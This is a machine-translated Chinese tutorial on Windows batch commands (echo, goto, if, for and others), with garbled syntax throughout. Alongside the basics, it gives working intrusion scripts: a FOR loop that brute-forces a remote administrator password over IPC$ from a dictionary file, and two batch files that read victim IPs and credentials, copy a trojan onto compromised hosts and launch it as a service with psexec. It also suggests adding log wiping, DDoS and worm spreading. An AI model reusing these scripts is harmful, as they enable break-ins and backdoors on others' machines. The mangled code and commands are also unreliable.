如何用记事本写一些有趣的程序
1.回声命令
打开或关闭回声,或显示信息。如果没有参数,echo命令将显示当前的echo设置。
语法
echo[{ on | off }][消息]
示例:@echo off / echo hello world
在实际应用中,我们将把这个命令和重定向符号(也称为管道符号,一般用>;& gt& gt)来实现将一些命令输入到特定格式的文件中,这个会在以后的例子中体现。2.@命令
这意味着@后面的命令将不会显示。在入侵过程中(比如用批处理格式化敌方硬盘),自然不能让对方看到你使用的命令。
示例:@回声关闭
@echo正在初始化程序,请稍等...
@ formatexx:/q/u/autoset (Format不允许使用参数/y,好在微软给我们留了一个autoset参数,效果和/y一样..) 3.Goto命令
指定跳转到标签。找到标签后,程序将从下一行开始处理命令。
语法:goto label (label是一个参数,它指定批处理程序中要转到的行。)
样本:
if {%1}=={}转到noparms
If {%2} = {} gotonoparms(如果你不明白这里的If,%1,%2,先跳过,后面会有详细解释。)
@Rem检查参数,如果为空则显示用法
:noparms
echo用法:monitor.bat ServerIP端口号
转到结尾
标签的名字可以随意选择,但最好是有意义的字母。在字母前加一个:表示字母是标签,goto命令就是基于这个:找到下一步并跳转到那里。你最好有一些解释,这样别人会明白你的意图。4.Rem命令
comment命令相当于C语言中的/*-*/。不会被执行,只是起到一个注释的作用,方便以后别人阅读和修改。
远程消息
示例:@ rem以下是描述。5 .暂停命令
运行暂停命令时,将显示以下消息:
按任意键继续。。。
样本:
@关闭回声
:开始
副本a:*。* d:\返回
echo请将新磁盘放入驱动程序A
中止
转到开始
在本例中,驱动器A中磁盘上的所有文件都被复制到d:\back。显示的提示提示您将另一张磁盘放入驱动器a。暂停命令将暂停程序,以便您可以更换磁盘并按任意键继续处理。6.呼叫命令
从一个批处理程序调用另一个批处理程序,而不终止父批处理程序。call命令接受用作调用目标的标签。如果在脚本或批处理文件之外使用Call,它将不会在命令行上工作。
语法
调用[[驱动器:] [路径]文件名[批处理参数]] [:标签[参数]]
参数
[驱动器:}[路径]文件名
指定要调用的批处理程序的位置和名称。filename参数必须有一个. bat或。cmd扩展。7 .启动命令
调用外部程序,所有的DOS命令和命令行程序都可以通过start命令调用。
常见入侵参数:
最小化MIN开头的窗口
在单独的空间启动16位Windows程序。
高启动高优先级类别的应用程序。
实时启动实时优先级类别中的应用程序。
WAIT启动应用程序并等待它结束。
参数这些是传递给命令/程序的参数。
当执行的应用程序是32位GUI应用程序时,CMD.EXE会返回命令提示符,而不等待应用程序终止。如果在命令脚本中执行,这种新行为将不会发生。
8 .选择命令
选择使用此命令让用户输入一个字符来运行不同的命令。使用的时候要加上/c:参数,在c:后面要写可以输入的字符,中间不要有空格。它的返回代码是1234...
如:choice /c:dme defrag,mem,end
将被显示
defrag,mem,end[D,M,E]?
样本:
Sample.bat的内容如下:
@关闭回声
choice /c:dme碎片整理,mem,end
如果错误级别3转到碎片整理(应首先判断值最高的错误代码)
如果错误级别2,转到记忆
如果错误级别为1,则转到end :defrag
c:\dos\defrag
转到结尾
:记忆
记忆
转到结尾
:结束
Echo good bye这个文件运行后,会显示defrag,mem,end[D,M,E]?用户可以选择d m e,然后if语句会做出判断。d表示执行标记为defrag的程序段,M表示执行标记为mem的程序段,E表示执行标记为end的程序段。每个程序段最后都会跳转到带有goto end的结束标签,然后程序会显示good bye,文件结束。9.if命令if表示将判断是否满足指定的条件,然后决定执行不同的命令。有三种格式:
1,如果"参数" = = "字符串"命令被执行
如果参数等于指定的字符串,则条件成立。运行命令,否则运行下一句。(注意是两个等号)
例如,如果“% 1”= =“a”格式a:
if {%1}=={}转到noparms
If {%2} = {} gotonoparms2,如果存在要执行的文件名命令。
如果有指定的文件,条件成立,运行命令,否则运行下一句。
比如if existconfig。syseditconfig.sys3,if errorlevel/if not errorlevel。
如果返回代码等于指定的数字,则条件成立,命令运行;否则下一句就是跑。
例如如果错误级别2转到x2。
当一个DOS程序运行时,它会返回一个数字给DOS,这个数字叫做错误码errorlevel或返回码。常见的返回代码是0,1。10 .用于命令
for命令是一个复杂命令,主要用于在指定范围内循环执行命令。
在批处理文件中使用FOR命令时,请在(set)docommand[命令行选项]中使用% % variable FOR { % variable | % % variable }来指定变量。
%variable指定一个单字母可替换参数。
(set)指定一个或一组文件。可以使用通配符。
Command指定对每个文件执行的命令。
Command-parameters为特定命令指定参数或命令行开关。
在批处理文件中使用FOR命令时,请使用%%variable来指定变量。
而不是%变量。变量名区分大小写,因此%i不同于% i,如果命令扩展被启用,下列附加FOR命令格式将受到影响。
支持:for/d % variable in(set)do command[command-parameters]如果集合包含通配符,则指定它匹配目录名而不是文件。
名字匹配。for/r[[drive:]path]% variable in(set)docommand[command-检查以[drive:]path为根的目录树,指向每个目录中。
对于语句,如果在/R后没有指定目录,则使用当前目录。
目录。如果集合只是一个点(。)字符,枚举目录树。对于(start,step,end) docommand [command-para]中的/l%变量,此集合以增量形式表示从开始到结束的数字序列。
因此,(1,1,5)将产生序列1 2 3 4 5,(5,1,1)将产生。
顺序(5 4 3 2 1)。(file-set) DO命令中的FOR/F[" options "]%变量
FOR/F[" options "]%变量IN ("string") DO命令
(' command') docommand中的For/f ["options"]% variable,或者,如果有usebackq选项:for/f[" options "]% variable in(file-set)docommand。
FOR/F[" options "]%变量IN ("string") DO命令
for/f[" options "]% variable in(' command ')docommand filename set是一个或多个文件名。在文件名集中继续。
每个文件在下一个文件之前已经被打开、读取和处理。
处理包括读取一个文件,将它分成文本行,然后将每行分成
解析零个或多个符号。然后使用找到的符号串的变量值
调用For循环。默认情况下,/F由每个文件中的每一行分隔。
的第一个空白符号。跳过空行。您可以指定可选的“选项”
参数重写默认的解析操作。这个引用的字符串包括一个或多个
为不同的解析选项指定关键字。这些关键字是:eol = c-表示一行注释字符的结尾(只有一个)
skip = n-表示在文件开头忽略的行数。
delims = XXX-表示分隔符集。这个代替了空格和制表符。
默认分隔符集。
Tokens=x,y,m-n-指的是每一行的哪个符号传递给每次迭代。
为了自己。这将导致额外的变量名。
格式是一个范围。用第n个符号指定m。
符号串中的最后一个星号字符,
那么额外的变量将在最后一个符号处被解析。
分配并接受该行的保留文本。
usebackq-指定新语法已用于以下情况:
在将带引号的字符串作为命令执行后
引号字符是文字字符串命令,在fi中是允许的
用双引号将文件名括起来。样品1:
FOR/F " eol =;Tokens = 2,3 * delims =," %i in (myfile.txt) Docommand将分析myfile.txt中的每一行,忽略那些以分号开头的行,并将
每行中的第二个和第三个符号被传递给for程序体;使用逗号和/或
空格分隔符。请注意,这个for程序体中的语句引用了% i。
获取第二个符号,引用%j来获取第三个符号,引用% k。
获取第三个符号之后的所有剩余符号。对于带空格的文件
名称,需要用双引号将文件名括起来。为了以这种方式制造
对于双引号,您还需要使用usebackq选项,否则双引号将
应当理解,它用于定义待分析的字符串。在for语句中特别声明了%i,而%j和%k是由。
Tokens=选项是特别指定的。可以传代币=一行。
指定最多26个符号,只要不试图描述比字母“z”或更高的符号。
“z”的变量。记住FOR变量是单字母的,区分大小写的,全局的;
同时,使用中的不能超过52个。还可以对相邻字符串使用FOR /F解析逻辑;该方法是,
用单引号将文件名集括在括号中。这样,人物
字符串被视为文件中的单个输入行。最后,您可以使用FOR /F命令来分析该命令的输出。方法是把
括号之间的文件名集成为一个封闭字符串。该线将
作为命令行,它被传递给子CMD.EXE,其输出将被捕获。
内存中,并作为一个文件进行分析。所以下面这个例子:for/f " usebackq delims = = " % I in(` set `)do @ echo % I枚举当前环境中的环境变量名称。此外,还增强了对变量引用的替换。您现在可以使用以下内容
选项语法:~ I-删除任何引号(")并展开% i。
% ~ fI-将%I扩展为完全限定的路径名
%~dI-only %I扩展为一个驱动器号。
% ~ pI-仅%I扩展到一个路径。
%~nI-only %I被扩展为文件名。
% ~仅限% I将被扩展为一个文件扩展名。
% ~ sI-扩展路径只包含短名称。
% ~ aI-将%I扩展到文件的file属性
% ~ tI-将%I扩展到文件的日期/时间
% ~ zI-将%I扩展到文件大小
% ~ $ PATH:I-找到PATH环境变量中列出的目录并展开% i。
到找到的第一个完全限定名。如果环境变量
未定义或未找到文件,此组合键将被扩展。
空字符串可以与修饰符结合使用以获得多个结果:%~dpI-only %I扩展为驱动器号和路径。
%~nxI-only %I被扩展为文件名和扩展名。
% ~ fsI-仅将%I扩展为带有短名称的完整路径名。
% ~ DP $ PATH:I-找到PATH环境变量中列出的目录并展开% i。
转到找到的第一个驱动器号和路径。
%~ftzaI-DIR将%I扩展到类似的输出行。在上面的例子中,%I和PATH可以替换为其他有效值。% ~语法
以有效的FOR变量名结束。选择一个类似于% i的大写变量名。
它更容易阅读,并避免与不区分大小写的组合键混淆。以上是MS的官方帮助,下面举几个例子来说明For命令在入侵中的使用。示例2:使用For命令破解目标Win2k主机的暴力密码。
我们使用net use \ \ IP \ IPC $ " password "/u:" administrator "尝试连接目标主机,成功后记下密码。
最重要的命令是一个:for/f I % in(dict . txt)do net use \ \ IP \ IPC $ " I % "/u:" administrator "。
I%用于表示admin的密码。在dict.txt中,i%的这个值是与net use命令连接的。然后将程序运行结果传递给find命令-
for/f I % % in(dict . txt)do net use \ \ IP \ IPC $ " I % % "/u:" administrator " | find ":命令成功完成" > & gtD:\ok.txt,就是ko。样本三:你有过大量肉鸡等着你去种后门+特洛伊马的经历吗?当数量特别大的时候,原本很开心的一切都会变得很压抑。文章开头提到,使用批处理文件可以简化日常或重复性的任务。那么如何实现呢?呵呵,看完你就明白了。主命令只有一个:(在批处理文件中使用FOR命令时,指定变量使用%%variable)。
@for /f "tokens=1,2,3 delims = " % % I in(victim . txt)do start call door . bat % % I % % j % % k
令牌的用法请参考上面的sample1,这里指的是将victim.txt中的内容按顺序传递给door.bat中的参数%i %j %k。
Cultivate.bat无非是用net use命令建立IPC$连接,并把特洛伊+后门复制到受害者,然后用return copy (If errorlever =)筛选成功植入后门的主机,并回显出来,或者回显到指定文件。
Delims=表示vivtim.txt中的内容用空格隔开。我想你看到这里一定明白这个victim.txt里面的内容是什么样子了。应该是按照%%i %%j %%k代表的对象来排列的,一般是ip密码用户名。
代码原型:
-在这里剪切,然后保存为批处理文件(我称之为main.bat ) -
@关闭回声
@if "%1"== " "转到用法
@for /f "tokens=1,2,3 delims = " % % I in(victim . txt)do start call IPC hack . bat % % I % % j % % k
@转到结尾
:用法
@echo在dos模式下运行该批处理。或者双击它。
:结束
-在这里剪切,然后保存为批处理文件(我称之为main.bat ) -
-在这里剪切,然后保存为批处理文件(我称之为door.bat)
@net use \\%1\ipc$ %3 /u:"%2 "
@if errorlevel 1 goto失败
@echo正在尝试建立IPC连接………好的
@ copy wind RV 32 . exe \ \ % 1 \ admin $ \ system32 & amp;& amp如果不是错误级别1回显IP %1用户% 2 PWD % 3 & gt;& gtko.txt
@ psexec \ \ % 1 c:\ win nt \ system32 \ win drv 32 . exe
@ psexec \ \ % 1 net start wind RV 32 & amp;& amp如果不是errorlevel 1 echo %1后门& gt& gtko.txt
:失败
@echo抱歉无法连接到受害者。
-在这里剪切,然后保存为批处理文件(我称之为door.bat)
这只是一个自动后门批次的雏形。两个批处理和后门程序(Windrv32.exe),psexec。Exe需要放在一个统一的目录中。批量内容。
可以扩展,比如增加清除日志+DDOS的功能,增加定期添加用户的功能,使其进一步具备自动传播(worm)的功能。这里不用我描述了,有兴趣的朋友可以自己研究一下。2.如何在批处理文件中使用参数?
参数可用于批处理,一般从1%到9%。当有多个参数时,需要shift来移动它们。这种情况比较少见,我们就不考虑了。
样品1:fomat.bat
@关闭回声
如果“% 1”= =“a”格式a:
:格式
@format a:/q/u/auotset
@echo请再插入一张磁盘到驱动a。
@暂停
@goto fomat
本例用于连续格式化多张软盘,使用时需要在dos窗口输入fomat.bat a。呵呵,好像有点多余~ _
样本2:
当我们要建立一个ipC$连接的时候,总是要输入一长串命令,不然就会出错,所以我们不妨把一些固定的命令写成一个批处理,把肉鸡的IP密码用户名作为参数赋给这个批处理,这样就不用每次都敲命令了。
@关闭回声
@ net use \ \ 1% \ IPC $ " 2% "/u:" 3% "注意这里PASSWORD是第二个参数。
@if errorlevel 1 echo连接失败
怎么样?用参数比较简单吧?你一定学会了怎么这么帅_ No.3。